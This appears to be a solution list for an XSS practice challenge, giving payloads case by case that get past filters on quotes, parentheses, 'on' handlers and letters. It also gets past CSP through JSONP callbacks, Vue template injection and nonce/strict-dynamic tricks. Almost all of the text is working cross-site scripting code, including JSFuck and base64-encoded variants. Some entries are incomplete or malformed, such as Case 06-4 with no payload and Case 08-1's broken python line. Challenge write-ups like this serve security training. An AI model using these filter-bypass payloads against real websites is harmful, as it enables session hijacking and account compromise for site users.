Case 01: Simple XSS 1
`
https://xss.shift-js.info/case01.php?payload=%3Csvg/onload=alert(1337)%3E
`
Case 02: Simple XSS 2
`
python -c "from urllib.parse import unquote;print(unquote('https://xss.shift-js.info/case02.php#%3Cimg src=%22%22onerror=alert(1337)%3E'))"
`
https://xss.shift-js.info/case02.php#%3Cimg%20src=%22%22onerror=alert(1337)%3E
Case 03: With htmlspecialchars()
`
javascript:confirm`1337`
`
Case 04: Whithout any backquotes, html tags and [ux].
`
${ eval(String.fromCharCode(97,108,101,114,116,40,49,51,51,55,41)) }
`
Case 05: Whithout any alphabet
** Using JSFuck http://www.jsfuck.com/
`
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
`
Case 06-1: Without any parenthesis
`
https://xss.shift-js.info/case06-1.php?payload=<img src=/ onerror=confirm`1337`>
`
Case 06-2: Without any parenthesis and [oO][nN]
`
<script/src=data:text/javascript;base64,Y29uZmlybSgxMzM3KQ0K></script>
`
Case 06-3: Without any parenthesis and .*[oO].*[nN].*
`
<<aBc dEF GhI>script src=data:text/javascript;base64,Y29uZmlybSgxMzM3KQ0K></script>
`
Case 06-4: Without any parenthesis and .*[oO].*[nN].*
Case 07-1: Without any quotes
`
<svg/onload=alert(1)>
`
Case 07-2: Without any quotes and &#
`
<svg/onload=alert(1)>
`
Case 08-1: Without any backquotes, parenthesis and html tags
python -c "print(''.join(str(hex(ord(i))).replace('0x','&#x')+';' for i in 'alert(1337)'))
``` " onclick="alert(1337)
Case 08-2: Without any backquotes, parenthesis, html tags and &#
`
onerror=alert;throw window.location="http://www.youtube.com/watch?v=iwGFalTRHDA"
`
Case 09-1: Without any spaces and "script"
`
<svg/onload=confirm`1337`>
`
Case 20: Bad use of JSONP
I wrote a script to display the deposit balance from jsonp.php. Thanks to CSP (Content-Security-Policy), inline script execution is not possible. You do not need to escape now!
** Using jsonp.php callback parameter as an xss vector
`
<script src="jsonp.php?callback=confirm`1337`"></script>
`
Case 21: nonce + unsafe-eval
`
<input type="hidden" id="equation" value="confirm(1337)" ></input><!--
`
Case 22: nonce + unsafe-eval
Vue.js Application
`
{{ constructor.constructor('confirm`1337`') }}
`
Case 23: nonce + strict-dynamic
`
confirm(1337);//<script id="injectarea"></script><!--
`